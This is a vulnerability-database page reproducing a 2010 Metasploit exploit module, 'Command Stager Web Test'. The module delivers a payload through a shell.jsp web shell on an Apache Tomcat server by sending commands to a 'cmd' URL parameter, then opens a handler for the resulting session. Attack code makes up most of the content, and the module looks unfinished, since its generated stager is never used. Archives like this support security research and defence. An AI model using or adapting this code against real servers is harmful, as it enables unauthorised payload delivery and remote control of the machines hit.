Lucene search
K

Command Stager Web Test

🗓️ 17 Feb 2010 00:00:00Reported by banneditType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

This module tests the command stager mixin against a shell.jsp application installed on an Apache Tomcat server

Code
`##  
# $Id: cmdweb.rb 8518 2010-02-16 16:38:19Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
# =( need more targets and perhaps more OS specific return values OS specific would be preferred  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Command Stager Web Test',  
'Description' => %q{  
This module tests the command stager mixin against a shell.jsp application installed  
on an Apache Tomcat server.  
},  
'Author' => 'bannedit',  
'Version' => '$Revision: 8518 $',  
'References' =>  
[  
],  
'DefaultOptions' =>  
{  
},  
'Payload' =>  
{  
},  
'Platform' => 'win',  
'Privileged' => true,  
'Targets' =>  
[  
# need more but this will likely cover most cases  
[ 'Automatic Targeting',  
{  
'auto' => true  
}  
],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Feb 03 2010'))  
  
register_options(  
[  
Opt::RPORT(8080),  
], self.class)  
end  
  
  
def exploit  
  
cstager = generate_cmdstager()  
http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, delay = 0.5)  
  
handler  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation